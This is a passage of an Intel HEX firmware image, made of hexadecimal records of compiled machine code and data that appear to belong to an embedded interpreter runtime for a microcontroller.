268019B991A23F020FC58\n:103D1000E368002B18DB1633824A9B00D31899689E\n:103D200020680FE0102A16D1E368062BA3DC5D1C87\n:103D30007C4A17339B00D318996800299BD063688D\n:103D4000E560436023F0C9FB63682269D61A2268E4\n:103D50005568ED1A0AE0152A0CD12369626861687A\n:103D60009A1A23F0FCFB236962689E1A0127002E31\n:103D70002FDCA4E70D2A0DD16B4823F05DFC2068F1\n:103D800023F090FB6368C018FFF730FF002210009B\n:103D900005B0F0BD01231B2A62D0082A01D07F2A7A\n:103DA00020D121696368994200D864E701228668BE\n:103DB000D21AF75C202F13D1D71801339942F8D8C3\n:103DC0000126032F00DD0336891B320023F0C7FBD9\n:103DD0000127300011F040FE23699E1B266178E028\n:103DE0000126F1E7092A28D1636822698068D11A7F\n:103DF000C0184E4A03ABFEF701F8061E00D13AE7A1\n:103E00000027431C0BD1A06923F016FC63682269CC\n:103E1000D11A22689068C01811F0FAFD4FE72369A3\n:103E20002068F918039B01375A1C03921A7823F073\n:103E30007DFBBE42F3D1350041E71300203B5E2BF2\n:103E400000D918E7216923F07AFB012537E7012D16\n:103E500008D104234F2A03D002235B2A00D0002379\n:103E6000A36008E7022D20D11300303B092B03D8B3\n:103E700003232275A360FEE60023A360412A00D13C\n:103E800052E7422A00D139E7432A00D101E7442A08\n:103E900000D1EBE6482A12D0462A00D0EBE60027F4\n:103EA000019B22693E009D1A0EE00021032D29D1BD\n:103EB0007E2A24D1237D312B01D0372B0DD1002533\n:103EC0002F00236962689E1A0023A3609E4200DDD2\n:103ED0007FE7002F00D1E1E6F1E61A00FB25343A36\n:103EE0002A42DCD0332B0AD12169019B994206D2A8\n:103EF000012223F034FB002501272E00E4E70025F2\n:103F00002F00FAE7042D04D1462AC8D0482AD6D07B\n:103F1000A5E7A160AFE6002501262F0059E7C046BE\n:103F2000D0010020842E0020CA0D030034B7020007\n:103F3000F7B5CC1CA400070020000E0001921EF073\n:103F400032F822000500054B4760866003600C3A9A\n:103F500001990C3025F01FFB2800FEBD8CA8020043\n:103F60000023820708D10068044A0133904203D03D\n:103F7000034BC01A434243411800704704A9020092\n:103F8000C8A80200044B88600B60044B08004B601B\n:103F90000023CB607047C04684DC02001922020077\n:103FA00030B585B0050008006946FCF749FD0400FE\n:103FB0002000FCF7A7FD011E02D1064805B030BD68\n:103FC0002B1D0022180023F0E3FC0028F0D002484B\n:103FD000F4E7C046B4AD0200ACAD020070B5050018\n:103FE00010201DF0E0FF0400074B696808C023F0B3\n:103FF000C5FCAB68E968A3606B68E0689A0025F0CF\n:10400000CAFA200070BDC04604A90200F7B504003A\n:104010000D0000268B0704D10B68214E9E1B7342B6\n:104020005E41AB68002B0AD1002E03D01D49200051\n:104030001EF00DFF1C4920001EF009FFF7BD002EE9\n:1040400003D01A4920001EF002FF194920001EF07B\n:10405000FEFE002701236A68BA4207D815492000EE\n:104060001EF0F5FE002EE9D01349E4E7BA000192F4\n:10407000EA68B9005258002A0FD0042A0DD0002B4C\n:1040800003D10E4920001EF0E2FEEB68B90059583A\n:104090000122200008F0CAFB00230137DBE7C046FD\n:1040A000C8A802003C0C0300430C0300490C0300A9\n:1040B000540C0300FB580300BD420300C807030073\n:1040C00010B5830707D1044B02689A4203D1034914\n:1040D00003481DF0B7FE10BDC8A80200040C030081\n:1040E000A8A1020070B50D000400FFF7E9FF290048\n:1040F000201D012223F04CFC004870BD24DD02008D\n:1041000070B50D000400FFF7DBFF2900201D02221F\n:1041100023F03EFC004870BD24DD020070B50600AF\n:1041200008680D000124FFF7CBFFB44201D3044817\n:1041300070BDA300E95828681EF00CF80134F4E7BC\n:1041400024DD020070B50D000400FFF7B9FF280060\n:104150000021FCF775FC05002800FCF7D3FC011ECC\n:1041600001D1044870BD231D0322180023F010FC68\n:10417000F2E7C04624DD020010B50400FFF7A0FFFF\n:10418000201D23F091FC014810BDC04624DD020033\n:1041900010B501221EF00FF8004810BD24DD02000A\n:1041A00070B504000D00FFF78BFF201D02222900CF\n:1041B00023F0EEFB002804D103481DF02DFF03F08F\n:1041C0006FF9024870BDC04688A3020024DD0200DA\n:1041D00010B50400FFF774FF201D23F046FC0028F3\n:1041E00003D1024902481DF02DFE10BD260C03002C\n:1041F00088A30200F8B50D0001280BD0002803D0D9\n:1042000002280BD00020F8BD8B681448002BFAD18F\n:104210001348F8E78B685B001843F4E70324002099\n:104220000C408442EFD10F4B0E6820009E42EAD131\n:104230004F68A74203D1012076003043E3E7EA68E4\n:10424000A3009958002906D0042904D00220FCF7C5\n:104250008FFA401036180134EBE7C046B4AD0200C7\n:10426000ACAD0200C8A80200F8B5040010200D0093\n:104270001DF099FE0600094B210008C6070030001A\n:1042800023F07CFBA4002C19A54201D13800F8BD15\n:10429000012202CD300023F07BFBF5E704A90200E8\n:1042A000F7B504000E00171E2CD0FFF709FF194DBB\n:1042B000B4422DD000210800FFF7D6FF00210500F1\n:1042C0003000FCF7BDFB01900198FCF71BFC061EBB\n:1042D0000CD1002F1CD0E0681DF094FE6B68636069\n:1042E000AB68A360EB680B4DE36011E0201D00227A\n:1042F000310023F04DFB0028E6D031002800FFF705\n:10430000F1FEE1E78842D5D120001DF036FF05001F\n:104310002800FEBD24DD0200F0B589B00400039042\n:10432000029101920027FFF71BFEB84207D13A0025\n:1043300003AB012122481DF092FF04000137029DCA\n:1043400000262800FFF70CFEB04207D1320002AB76\n:1043500001211B481DF083FF05000136019B002B46\n:1043600005D00023AA680193A36893420DD0154B92\n:1043700006940493144B05930023079304A81DF09F\n:104380004BFF011E12D101230193002F02D0200008\n:10439000FFF7F2FE002E02D02800FFF7EDFE019B92\n:1043A0000A48002B00D10A4809B0F0BD2B1D00229D\n:1043B000180023F0EDFA0028E0D10190E5E7C046AF\n:1043C00004A9020084DC020019220200B4AD02003C\n:1043D000ACAD020073B50C001500009101920026EF\n:1043E0008B0704D10B68394E9E1B73425E4132002D\n:1043F0001F2868D816F03CFA2810176767671C67F3\n:104400006767676767212D346767673B676767671B\n:104410006740464A5358675D290020001DF0BEFEE4\n:104420000400200076BD290020001DF00DFFF7E7F5\n:10443000694602201DF0EBFEF2E7002E04D069462B\n:104440000220FFF76BFEECE7290020001DF09CFE28\n:10445000E6E729002000002EE0D0FFF773FEE0E73A\n:1044600029002000FFF71CFF002EDAD1D8E76946AB\n:1044700002201DF0A0FED3E7012229002000FFF753\n:104480004BFFCDE7012221002800F8E72800FFF7C5\n:1044900067FD002815D0A368AA68934211D12900AE\n:1044A00020001DF00DFFBBE7290020001DF000FFDC\n:1044B000B6E7201D0022290023F06AFA044C0028E8\n:1044C000AFD1044CADE70024ABE7C04604A902001D\n:1044D000B4AD0200ACAD020010B50400431C02D024\n:1044E0000248FEF7FBF8024B1C6010BDAC2E00200A\n:1044F000802E0020014B024A9A647047842E0020CF\n:10450000AC2E0020F8B50E000500140010F05AF88B\n:10451000330003272B433B420BD1BC4209D9A208ED\n:104520003100280015F0E6F82300BB43ED18F6181B\n:104530003C40002C04D022003100280024F053FC21\n:1045400080220449D2008B58002BFCD010F02AF8AE\n:10455000F8BDC04600E00140F0B5060000248BB075\n:10456000194B1A48E1580BF02DFD03AFE05104340C\n:104570001C2CF5D114230024734301930025AB00B8\n:10458000F95813481FF0F1FB0135300023F061F8B2\n:10459000072DF4D1013DAB000D48F9581FF0E5FBA4\n:1045A000300023F056F8013DF5D20134082C03D138\n:1045B00009F096FD0BB0F0BD01231C42DED101983D\n:1045C00023F047F8DAE7C046A4AA0200289F0200B9\n:1045D0002400002010B51920FFF7BEFF004810BDD1\n:1045E00024DD0200FF230322DB05CB1810B5934323\n:1045F000042804D816F03CF906030F041600002125\n:10460000080010BD0021181C16F006FB0A490028FE\n:10461000F6D00A49F4E7181C17F054FA01214000BB\n:104620000143EDE7802109065B18022193431943FA\n:10463000034BC918E4E7C046B4AD0200ACAD0200BC\n:1046400000008080FF23DB0510B50400C818032399\n:104650009843002386B00193063300931022613300\n:1046600002A903F073FB02A920001EF0F0FB2E212B\n:1046700002A824F0E8FF00280FD1652102A824F049\n:10468000E2FF002809D16E2102A824F0DCFF0028F7\n:1046900003D1034920001EF0DAFB06B010BDC0466E\n:1046A0003A0B030030B50C001100002285B01D004C\n:1046B000009201232000FDF741FE002C23D0286842\n:1046C000124B0340062B06D0032420420ED1104B80\n:1046D00002689A420AD103A905F058F8002203990A\n:1046E0000092130006F08AFE05B030BD030023409F\n:1046F000022BF9D008F0CCF903000220A3431843A1\n:10470000044BC018F0E70448EEE7C046070080FFFE\n:1047100040BB0200000080800200808070B5050070\n:1047200086B01000019108F0B3F9041C0390681FD3\n:10473000182800D9B8E016F09BF80D121F24333E5C\n:104740006A7CB7B7B7B7B70D121F24333E6A9AA376\n:10475000A8ADB2000198211C16F096FB03E0211CC5\n:10476000019816F0F5FF0190032301984F4A9843F2\n:10477000013B03439B1877E0211C019816F0D2FE01\n:10478000F1E70021201C16F047FA002803D0484921\n:1047900048481DF057FB03A901A81DF0EEFDE3E713\n:1047A0000021201C16F038FA0028F0D1211C0198B5\n:1047B00016F0E2FCD7E70021201C16F02DFA0028A5\n:1047C000E5D1211C019819F041FD0021051C019043\n:1047D00016F022FA002807D0039A0023002A01DAF3\n:1047E00080231B060193BFE70021281C16F01AFA4C\n:1047F0000400039E601E84410021301C16F012FA52\n:10480000431E9841A042AFD0311C281CA4E7019D53\n:104810000021281C16F000FA002805D00021201CD9\n:1048200016F000FA0028B2D1211C281C19F06CFDEA\n:1048300099E70021201C16F0EFF90028A7D103A961\n:1048400001A81DF09AFD03220220019B1749934302\n:1048500003435B180493039B934303435B1804A92E\n:1048600005930EF047F90300180006B070BD0199DA\n:10487000201C16F0EBF9104B0028F5D10F4BF3E795\n:104880000199201C16F0CEF9F5E70199201C16F0CD\n:10489000C3F9F0E70199201C16F0E2F9EBE7019962\n:1048A000201C16F0C9F9E6E70023DDE70000808050\n:1048B0009D0503000CA70200B4AD0200ACAD0200E0\n:1048C000F0B508C98DB00593244B06AC01380093B0\n:1048D00001940623FDF762FDE068214E214FB042AE\n:1048E00002D00CF045F807001F4B20690393B0423B\n:1048F00002D00CF03DF803901C4B60690493B04269\n:1049000002D00CF035F80490194D380029000EF053\n:1049100037FB290003980EF033FB290004980EF0B2\n:104920002FFB01200523049A0399059D52794979AB\n:1049300004354042FB5652B2009049B2280015F0AF\n:10494000C7FC0023A2686168280015F04DFC280010\n:10495000069915F07BFC30000DB0F0BDB4AB020041\n:1049600024DD020020CF020030CF020028CF020059\n:10497000FCD20200F0B50E6887B0736807000C0027\n:10498000002B02D11248FCF77DFC486808F01AF8A9\n:10499000010002A822F049FD0025032F03D1A068E1\n:1049A00008F010F805000024039B0193A34208D9E6\n:1049B000301D290015F074FD049B18550193013436\n:1049C000F2E702A9034804F057FA07B0F0BDC04669\n:1049D000560C030020B9020070B505006B6886B064\n:1049E0000800002B02D10B48FCF74CFC00240122EC\n:1049F00003A908F0A1F9039E049B0193A34205D9E2\n:104A0000315D281D15F04CFD0134F5E7024806B074\n:104A100070BDC046560C030024DD0200F0B5050051\n:104A20006B6887B008001400002B02D10D48FCF71A\n:104A300029FC0122694608F07FF9200000240222A7\n:104A400003A9009F08F078F9039E019BA34206D9B1\n:104A5000395D281D15F024FD30550134F5E7024875\n:104A600007B0F0BD560C030024DD0200F7B5456821\n:104A70001600A8681F00019122F017FB0400A86827\n:104A800022F019FB22F011FB0323584307340019CD\n:104A900080001DF088FA084B040003606B68320048\n:104AA000436000238560C36001993B0008300FF02C\n:104AB000C9FF2000FEBDC04650AC020070B5050025\n:104AC00088680C0022F0EFFB230002000249280056\n:104AD0001EF07BFA70BDC0468A0C030010B5024878\n:104AE0001DF09AFA02F0DCFCA4A5020010B5040047\n:104AF00008201DF058FA024B4460036010BDC04608\n:104B00008CAC0200F7B5C56804001E00002D02D170\n:104B10001D602800FEBD03691830834205D1184B83\n:104B2000994203D01748FCF771FD19602000164F19\n:104B300011007B680830019363687B6008F008F916\n:104B4000019B05007B60012807D002280CD00023C0\n:104B5000E36023691B683360DBE723691B6833600C\n:104B6000002BD6D1E360D4E7A368986822F09DFAC1\n:104B7000002305308000E36024186368EBE7C0463B\n:104B800024DD0200A80C0300842E002013B501AB25\n:104B9000FFF7B8FF01280ED0104C02280DD0019B62\n:104BA000A34219D0002B17D001AA01210C481DF0F7\n:104BB0002DFA02F075FC019816BD019807F01EFE53\n:104BC000074904F01DF8002801D10198F1E7019888\n:104BD000FDF7F2FCA042F8D10020EDE724DD020051\n:104BE000A4A5020010B50B00022808D14A680549A7\n:104BF0001868FFF7CBFF002803D1FFF76FFF8A6823\n:104C0000F5E710BD24DD020010B500220149FFF7D1\n:104C1000BDFF10BD24DD020013B5114C01AB114ADC\n:104C20002100FFF76FFF012803D0022805D02000E4\n:104C300016BD0D490D481DF005F9019807F0DEFD80\n:104C40000B4903F0DDFF0028F1D1019807F0D6FDF4\n:104C5000084903F0D5FF0028E9D1019802F020FCB3\n:104C600024DD020010A102006A0C030068A5020006\n:104C700098A20200A4A50200F7B505002C200E00A2\n:104C8000170001931DF0A1F904000570866087816B\n:104C9000072D01D0012D10D1337872780A3B1B0209\n:104CA00013439BB2E381019B20206375042363843B\n:104CB0001DF079F9A0622000FEBD014B5B5DF1E7BC\n:104CC000DE0C0300F7B50600194D0C0028001CF09F\n:104CD000A1FA310017481CF011FA17481CF09AFA93\n:104CE00016481CF097FAFF239B00E61821787F29CD\n:104CF00001D0A64206D128001CF08CFA10481CF006\n:104D000089FAF7BD6278A37850290CD80D48475C22\n:104D10000D48405C019300923B0002000B481CF0E0\n:104D2000EDF90434E2E70A481CF0E8F9F9E7C04677\n:104D3000980D0300C50D0300CD0D0300560D0300B3\n:104D4000740D03009311030042110300EE0D0300E4\n:104D5000110E0300F0B51D008BB007901B48160024\n:104D600008911CF057FA290019481CF0C7F9194896\n:104D70001CF050FA18481CF04DFA0024A54204DC3F\n:104D800012481CF047FA0BB0F0BD089B375DA0003D\n:104D90000799181803788278095D049707689B06BD\n:104DA0003F037F0E0397C7789B0E09933B0902933D\n:104DB00000883F07C004400E3F0F01901209009782\n:104DC000099B06481CF09AF90134D7E7980D0300B7\n:104DD000E50C0300120D0300440D0300760D0300E3\n:104DE000002803D0012807D0002070478B680448B2\n:104DF000002BFAD10348F8E78B685B001843F4E70F\n:104E0000B4AD0200ACAD0200034B48600B60002360\n:104E100008008B60CB607047D8AC02007FB50400FF\n:104E20000122080001A907F087FF00222179402014\n:104E300006F06EF801000500029815F02DFD63687C\n:104E400006001A0A824218D2A368C1186943E068B2\n:104E50001DF0C7F86368E060DBB22A00A0686360F9\n:104E60006843E36872431818019924F094FBA3681F\n:104E700004489E19A66004B070BD121A1202DBB27B\n:104E80001343EAE724DD0200F7B5FF274568040075\n:104E90000191BD431DD101792A00402006F038F868\n:104EA000636806003B408027A1683F011F4308312B\n:104EB00041436760E0681DF094F86368E0601A0A97\n:104EC000A368013A013372435E432900801924F03C\n:104ED0007EFB2079019BA268E16806F0C1F9A36816\n:104EE00003480133A3606368013BFF3B6360FEBD81\n:104EF00024DD0200F8B5002207000D00010040206B\n:104F000006F006F8060010201DF04DF8084B0400CE\n:104F1000012F00D0074B2800277123606368A5602C\n:104F2000DBB2704363601DF03EF8E0602000F8BD26\n:104F300070AD020034AD020070B506008AB00C00FE\n:104F4000150012285BD005D8052827D000242000A2\n:104F50000AB070BD1B286AD01F28F7D1012207A90B\n:104F600028001EF0E9FE032300284DD01C4213D177\n:104F7000394B22689A420FD1012204A920001DF06A\n:104F8000E3FA0123079A00930599089B04981EF001\n:104F90005AF9324C0028DAD1314CD8E704A9012261\n:104FA00020001DF0D1FA07A92800012207F0C4FE55\n:104FB000069B002203936B464020197B05F0A8FF57\n:104FC00006000100089815F067FC069BA168039392\n:104FD0006B4605004118187BFFF78CFF059B04000A\n:104FE0001A000499C068039324F0D5FA2A000598A2\n:104FF000E36872431818079924F0CDFAA7E7110067\n:105000002000FFF70BFFA2E7EA070DD41D4203D1F2\n:10501000144B2A689A4207D003232B40022BBBD1A2\n:10502000114B1D40062DB7D01048FCF71DFB012287\n:1050300004A920001DF088FA012207A928001EF00B\n:105040007BFE0028A8D0089B059A00930499079B33\n:10505000300020F09CF89CE770AD0200B4AD020077\n:10506000ACAD020004C60200070080FFC3120300BB\n:10507000F0B5050087B00E00012808D08B0726D1B7\n:105080000B68264A934202D0254A93421FD101223F\n:1050900003A930001EF050FE002818D0002229007D\n:1050A000402005F035FF01000700049815F0F4FBDF\n:1050B000060001002800FFF71DFF320004007A43BC\n:1050C0000399C06824F067FA200007B0F0BD3000F3\n:1050D00007F092FD071E00D0471039002800FFF7A7\n:1050E00009FF002104003000FBF7AAFC0026009015\n:1050F0000098FBF707FD031EE6D0002F04D119002E\n:105100002000FFF7C1FEF3E7721C0192E168320054\n:10511000280006F0A5F8019EEAE7C04620B9020083\n:1051200070AD020070B50E7904000D00012E0DD196\n:1051300019491DF08CFE3300AA68E968200003F0CD\n:1051400037FE164920001DF082FE70BD3200144962\n:105150001DF03BFFAB68002BF3D0124920001DF07F\n:1051600076FE0026AB68B34204D80F4920001DF03C\n:105170006EFEE6E7002E03D00C4920001DF067FE0E\n:105180003200E968287905F033FF01220100200090\n:1051900007F04CFB0136E5E7320E0300BD42030089\n:1051A0003E0E0300490E0300BA570300C807030070\n:1051B00070B5050086B0141E2CD0032680680E4002\n:1051C0002DD1214B0A689A4229D103AA0BF0EAFBA0\n:1051D000002802D11D48FCF747FA042C1DD13200EB\n:1051E0002979402005F094FE049B06000093039B60\n:1051F00028790193019A009B991AFFF77BFE039986\n:10520000049A0400521A71437243EE68C068711820\n:1052100024F0C1F9200006B070BD3400FAE70A009E\n:1052200000230100286807F0A7FC02002879042C5D\n:1052300004D1E96805F0DCFE0400EBE72300E9682F\n:1052400006F00EF8024CE5E744BC02004D0E0300E8\n:1052500024DD020037B50C00110000221D00009271\n:1052600001232000FDF76AF8002C05D12100012060\n:10527000FFF740FE040016E02968CB0705D48B0732\n:1052800013D10C4B0A689A420FD1080007F09AFB21\n:10529000010005000120FFF72DFE2A000400002177\n:1052A000C06824F094F920003EBD0120FFF7E0FE25\n:1052B000E0E7C04604C6020010B50B790349002B95\n:1052C00000D103491DF0C3FD10BDC0467E0E030092\n:1052D000830E030037B50C00110000221D00009260\n:1052E00001232000FDF72AF8002C05D0286807F0DC\n:1052F000A7FC034B002800D1024B18003EBDC0465E\n:10530000B4AD0200ACAD02000722436804481B792B\n:105310001340044AD35C002B00D003487047C046BA\n:10532000B4AD0200D9000020ACAD020010B50124DC\n:10533000037A05499B005A580448224200D1044888\n:10534000A243CA5010BDC046EC010020B4AD02001B\n:10535000ACAD0200072330B50279A0211340A22290\n:10536000C905D2008A584179164CCA401100E55649\n:105370006A1EC90700D56A1C022A0ADC0020824284\n:105380001ADB1149CD5C854201D0C8540230E25489\n:1053900030BD072A09DD0C2A10DC0B490320CD5C47\n:1053A000002DF4D10238C854F1E707490320C95C45\n:1053B0000029ECD10800EAE70200E8E703200C220C\n:1053C000E5E7C046E1000020D900002070B5037A6F\n:1053D000064C05009B00185940081DF04FFB0122A8\n:1053E0002B7A9B0019590A401A5170BDEC0100201C\n:1053F00070B51948FFF7AEFF022805D117490B68B1\n:105400009A1C012313430B601548FFF7A3FF0228E2\n:1054100005D112494B689A1C012313434B60114D6F\n:1054200028000DF079FD104CA04202D12800FFF7B2\n:1054300091FF0E4D28000DF06FFDA04202D1280013\n:10544000FFF788FF0A4D28000DF066FDA04202D14B\n:105450002800FFF77FFF70BD70CF0200EC01002035\n:1054600010CF020000CF0200ECD2020048CF0200B1\n:1054700058CF0200072203791340014AD05C7047DD\n:10548000D9000020002313B5044A046A09050093DB\n:10549000890C8A58A16B1DF025F913BD8CAE020052\n:1054A000F0B587B000931B7805000F0002922A2BFD\n:1054B00007D183685B5C002B68D0A62B66D007B051\n:1054C000F0BD1A00213A022A2CD8846860180378AB\n:1054D000032B5BD104A96E681DF0CEF9A319984285\n:1054E00005D16F60049928001DF02AF9E7E70378D9\n:1054F000032B4BD105A91DF0BFF9009B1B78212B75\n:1055000004D1049B059A13430493E7E7222B03D1AC\n:10551000049B059A5340F7E7232BDFD1059B049AA0\n:105520001340F1E71A00243A022A00D987E0836881\n:10553000581801930378032B28D16B6804A90393AF\n:105540001DF09AF90600019B039A9B189E42C8D051\n:10555000B378B01C7478032B18D105A91DF08CF911\n:105560000600372C36D1059A1F2A0FDC4249049BCE\n:10557000114199420ADBC021090611418B4205DB2A\n:1055800093400493049A53005340DCD500206B6889\n:10559000029CDE1B431C0193E4096AD133000134F1\n:1055A000DB09FCD1831C1A1939002800039321F070\n:1055B000A0FF0500009B029A1B7801991A33037023\n:1055C00001301DF011F8039B3200E81821001DF096\n:1055D0000BF874E7392C08D1059B1F2B01DD1F2325\n:1055E0000593049B059A1341CBE72F2C03D1049B11\n:1055F000059A9B18C5E7302C03D1049B059A9B1A8A\n:10560000BFE7312C09D10599049805F0EDF9002880\n:10561000BCD1059B049A5343B3E7332CB6D005990C\n:10562000352C06D10029B1D004981DF0AAFF0490B2\n:10563000A8E70029AAD004981DF0B3FFF7E7272BAD\n:10564000A4D1836858188378032B9FD14478023003\n:105650001DF021F92F2C01D1049042E7302C06D106\n:10566000404243000490584000D43AE78EE7C043DC\n:10567000F2E701988EE7C046FFFFFF3FF0B597B015\n:105680000990C020002560230AAC80000F0016009E\n:1056900025706360A5601CF093FC2561E060656186\n:1056A000A561E5612762E562A84218D1C149C248F7\n:1056B0001CF0BFFC0023060013930D981CF0A2FC05\n:1056C000002E00D1D7E10023BA6B39683000FDF716\n:1056D00013F8380022F013F9300001F0E1FE38220F\n:1056E000002E03D00232022E00D02A000026B34939\n:1056F000920052582000B96B330000961CF0F2FF64\n:1057000010201CF050FC1021040021F07DFE0AAD99\n:10571000AB682A78002B00D18AE1002AC6D1EA685A\n:10572000013BAB60DB00D318DA78A44992005258F1\n:1057300003921A689D881202120A0692039ADB8865\n:10574000527807920F2207990A400592002D21D026\n:1057500030220493079B1340102B1DD0202B5BD0CD\n:10576000002E00D130E1059B022B00D015E1002373\n:10577000012D1AD0079A691ED20705D5039A92887F\n:10578000120B012A00D16908012900D08CE0002BFE\n:105790000FD089E06368DBE7002D08D13800039B58\n:1057A00040309A1C059BAB4205D80126AFE7002E7E\n:1057B000F4D10026ABE76E00935B190B09038C460E\n:1057C000802149018C4513D106781B051B0D9E4293\n:1057D00020D121000AA81CF0C2FF0028E9D13B001B\n:1057E00040331B78052B00D039E1754975485FE7D8\n:1057F000059A6B1C934206D2049A069900920AA855\n:10580000039A1CF06FFF039B0AA89E197188FFF78B\n:1058100039FECEE70135C5E7002E0BD0039A6B00A9\n:105820009B5A1B0B032B46D10121200021F02CFE9B\n:1058300000230370059BAB4241D880200026059AC7\n:10584000039B5100C918400199426AD1A368049A88\n:10585000981800230593A2686368D31898426BD305\n:10586000039B1B78052B01D00C2B00D10126039B39\n:10587000597840230B405842434149B25B421E4095\n:10588000002900DA01260025049B0795D018089509\n:10589000059B9D4257D1002E02D1089B012B62D05F\n:1058A0000799200021F054FE039B069A04992000DA\n:1058B000FFF7F6FD7DE7012D00D876E78FE7802121\n:1058C000039B6E0002339B5B49011A0B12038A4251\n:1058D00025D13A0040321278DBB29A421BD1072A16\n:1058E00007D1B96CF86C0FF003FF010020001CF029\n:1058F000EFFE002D0AD1039B5B787F2B06D90E9B10\n:105900002000591C07930E911CF01AFF380010F06C\n:1059100097FC01358EE7002D00D146E75FE76B1C51\n:105920006AE75A88150B2D03854203D1D2B2062AA5\n:1059300000D90126023387E7059B01210133059336\n:105940001CF075FE87E7079A037801320792002B57\n:1059500004D0089B013308930023079301211CF016\n:1059600066FE013594E7A268049B944663441D00DB\n:10597000059B9E4200D11CE72B78002B07D1A36822\n:105980000122E91A200021F0EAFD0136F0E72800A3\n:1059900001211CF04CFE0500F7E7012D00D104E7C2\n:1059A00001232A001A4041D0059A032A00D1E1E6DA\n:1059B00015E7C046890E03003CA402008CAE02002D\n:1059C000B10E030010A302000122059B03992B4096\n:1059D00013405A008A188021528849010892120BFC\n:1059E00012038A4215D13A0008994032127809050B\n:1059F000090D8A420BD1002B04D0380010F020FC96\n:105A00000135E1E721000AA81CF0A9FEF8E70135FD\n:105A1000A9E6049A069900920AA86B1C039A1CF046\n:105A200061FE08990AA8FFF72DFD70E61300A1E6B4\n:105A3000002A00D03AE63B0040331E78002E00D00A\n:105A4000CDE66368002B00D1C9E62B692000591C04\n:105A50001CF076FEA3686B62EB69AB622DE6022B4D\n:105A600001D10A49C2E60A3B09480A49012B00D87C\n:105A70001EE609491CE6380021F041FF099A13ABE4\n:105A800013CB13C2099817B0F0BDC046C30E030074\n:105A9000E0A50200F70E03001E0F030010B504007E\n:105AA000486800220430074910F082FE064A0028A8\n:105AB00003D0406803F054FE0200044920001DF0AA\n:105AC00084FA10BD860F0000C3120300360F0300D6\n:105AD00070B5150012680C004068002A0AD1CC008D\n:105AE00006210430214310F063FE002801D04368F2\n:105AF0002B6070BD03799B070BD50C4B9842F8D1F6\n:105B00000B4EF36D002B03D101201FF0A7FAF065B7\n:105B1000F06D06216A68E4002143002A03D11FF0DA\n:105B2000E0FA0023E4E71FF0D2FAFAE7ACF0020053\n:105B3000842E002070B50625C000054301222900EF\n:105B40000B4810F035FE44680600002C0ED10820EA\n:105B50001CF029FA074B0400036001201FF07EFAB5\n:105B60002A00606004491FF0B2FA7460200070BD22\n:105B7000C02E00206CB20200860F000010B50C0091\n:105B80000621C00001430122024810F011FE4460CA\n:105B900010BDC046C02E002073B50625C3001D43AE\n:105BA000060000222900104810F002FE041E18D141\n:105BB000020029000D4810F0FBFD041E12D0EA215E\n:105BC0006A46FF314068FAF7BDFE009B002B08D003\n:105BD00000216A4608001CF0F9F861683000FFF700\n:105BE000CDFF6468200076BDC02E002098B1020071\n:105BF00010B510201CF0D7F90400034B08C020F0AA\n:105C0000B1FC200010BDC04604C6020070B50C00F7\n:105C1000052804D814F02CFE06030C04131C0024E1\n:105C2000200070BD8B680E4C002BF9D10D4CF7E7AE\n:105C3000081D21F0EEF8012440000443F0E7FFF7CF\n:105C4000D7FF211D0500043020F012FE2C00E7E7ED\n:105C5000FFF7CEFF211D0500043020F019FEF5E707\n:105C6000B4AD0200ACAD020070B5050083070CD1E5\n:105C7000104B02689A4208D1FFF7BAFF291D0400B1\n:105C8000043020F0EAFD200070BD280006F09AFEE6\n:105C9000C0231B06984206D180200021C0051CF0BD\n:105CA000DEFE0400EFE70124C317C018584040008F\n:105CB0000443E8E704C6020007B5C30701D5401056\n:105CC0000EBD043001A90DF0C1FB002801D00198E0\n:105CD000F6E7024902481CF0B5F8C046440F03003D\n:105CE0002CA50200F0B58BB0019001200D0017002B\n:105CF00008402BD04B10022203A904A820F06AFC14\n:105D000004AEFB072BD57B10022203A904A820F0C8\n:105D100061FC04AD019B092B01D0162B3FD16B68B0\n:105D2000002B68D0300021F0CFF8041C280021F0AF\n:105D3000CBF8011C201C15F01FFA03230224984302\n:105D4000714B0443E41820000BB0F0BD03240C4059\n:105D500023D16E4B0A689A42F5D10E1DD1E7032379\n:105D60001F4205D1694A3968914201D13D1DD1E7F1\n:105D70003B40022B0CD1664B3B40062B08D0300039\n:105D800021F0A2F83A00011C0198FEF7C7FC04E0DC\n:105D90003A002900019809F08BFC0400D3E7019B2D\n:105DA000182B00D98AE0FFF723FF0400019814F0B4\n:105DB0005FFD444A3E50500D13191F723365724403\n:105DC0004A3E50500D13191F72336500201D2A00E2\n:105DD000310020F0F6FDB6E7201D2A00310020F04A\n:105DE0002AFEB0E7201D2A00310020F053FFAAE769\n:105DF0006B68002B03D1474947481CF023F807A8DC\n:105E000020F0B0FB2B003200201D07A90DF0B6F9E1\n:105E100007A820F0ACFB96E76B68002BEBD007A837\n:105E200020F0A0FB211D2B00320007A8EEE7201D6B\n:105E30002A00310020F040FE85E7201D2A003100B5\n:105E400020F0B5FE7FE7201D2A0031000DF022F979\n:105E500079E73800FFF730FF021E02DA2F48FBF720\n:105E600011FA019B201D3100032B01D0102B02D110\n:105E70000DF0A8F867E720F042FD64E76B68002B9F\n:105E800003D02B78DB0700D579E7201D2A003100ED\n:105E900020F07DFF57E76B68002BACD0FFF7A8FE22\n:105EA0000700211D04302B0032000DF067F907A90F\n:105EB0000220079708940CF01DFE6EE729003000C1\n:105EC00020F0A9FC0300019800241938042800D907\n:105ED00039E7134C14F0CCFC0308140C1000002B11\n:105EE00000DB30E70F4C2EE7002B00DC2BE7F9E757\n:105EF000002B00DD27E7F5E7002B00DA23E7F1E7C9\n:105F0000002B00D01FE7EDE70000808004C60200F0\n:105F1000070080FF9D0503000CA702006305030036\n:105F2000ACAD0200B4AD0200F0B5304B8FB007AE9F\n:105F300001380093043107230196FCF72FFA002360\n:105F4000B0682B4F0393B84203D006F03BFDC3B2B9\n:105F5000039370691825B84202D01FF0DDF845B2EE\n:105F6000B0691924B84202D01FF0D6F844B23069A3\n:105F7000B8420DD005AA022106F0EAFD059B18687B\n:105F80001FF0CAF8059B45B258681FF0C5F844B227\n:105F900001210E00A022AE40A140164BD205D758D9\n:105FA00015483E430590D650D6588E43D650134AD6\n:105FB00003218550C450280023F0B0F920000321AC\n:105FC00023F0ACF9079905A814F06EF80A9B039A20\n:105FD000089905A814F078F80799094814F0E6FC28\n:105FE000084B0130188002480FB0F0BD44B30200E6\n:105FF00024DD020014050000002000400C05000014\n:10600000C8320000C42D002010B50FF0DDFC034B9A\n:10601000002800D1024B180010BDC046B4AD0200EC\n:10602000ACAD0200F7B50E0014001D00002A07D029\n:106030000FF0CAFC002805D10B2301242B60644219\n:106040002000FEBD3500013CA31900930FF0C8FCF1\n:10605000009B6C1C2870AB421